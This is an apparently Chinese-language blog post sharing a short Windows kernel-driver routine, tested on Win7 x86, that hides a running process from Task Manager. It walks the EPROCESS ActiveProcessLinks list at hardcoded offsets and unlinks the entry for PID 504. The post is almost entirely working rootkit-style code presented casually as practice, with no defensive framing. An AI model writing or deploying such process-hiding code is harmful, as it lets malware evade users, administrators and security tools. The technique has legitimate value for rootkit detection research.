隐藏进程 驱动级 摘链 任务管理器看不到

闲着蛋疼写来玩玩练练手 没啥技术含量 只是个简单的摘链 任务管理器看不到

测试环境 Win7 x86

typedef struct 
{
    DWORD_PTR    EProcess;
    UCHAR*        ImageName;
    ULONG        ProcessID;
}_Process_Info;
 
NTSTATUS HideProcess()
{
    DWORD_PTR CurrentEProcess = (DWORD_PTR)PsGetCurrentProcess(); // 首先取到自身EPROCESS结构
    // EPROCESS + 0x16c = ImageFileName
    KdPrint(("SpriteDrv: Current Image File Name: %s\n", (UCHAR*)(CurrentEProcess + 0x16c)));
 
    // 取活动进程链表
    // EPROCESS + 0x16c ] + 0xb8 = ActiveProcessLinks
    PLIST_ENTRY pActiveProcessLinks = (LIST_ENTRY*)(CurrentEProcess + 0xb8);
    PLIST_ENTRY pNextPtr = pActiveProcessLinks->Flink;
 
    int count = 0;
    while (pNextPtr->Flink != pActiveProcessLinks->Flink) {
 
        _Process_Info ProcessInfo;
 
        ProcessInfo.EProcess = ((DWORD_PTR)pNextPtr - 0xb8);
        ProcessInfo.ImageName = (UCHAR*)(ProcessInfo.EProcess + 0x16c);
        ProcessInfo.ProcessID = *((ULONG*)(ProcessInfo.EProcess + 0xb4));
        KdPrint(("SpriteDrv: Image File Name: %s\t\t%d\n", ProcessInfo.ImageName, ProcessInfo.ProcessID));
 
        // 因为部分进程取出来的进程名会有问题 (部分没有\0符 也没有在结构里找到长度元素)
        // 所以用PID来判断是否为被隐藏的进程
        if (ProcessInfo.ProcessID == 504) {
            // 摘链操作
            pNextPtr->Blink->Flink = pNextPtr->Flink;
            pNextPtr->Flink->Blink = pNextPtr->Blink;
        }
 
        count++;
        pNextPtr = pNextPtr->Flink;
    }
 
    KdPrint(("SpriteDrv: Process size: %d\n", count));
        
    return STATUS_SUCCESS;
}
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值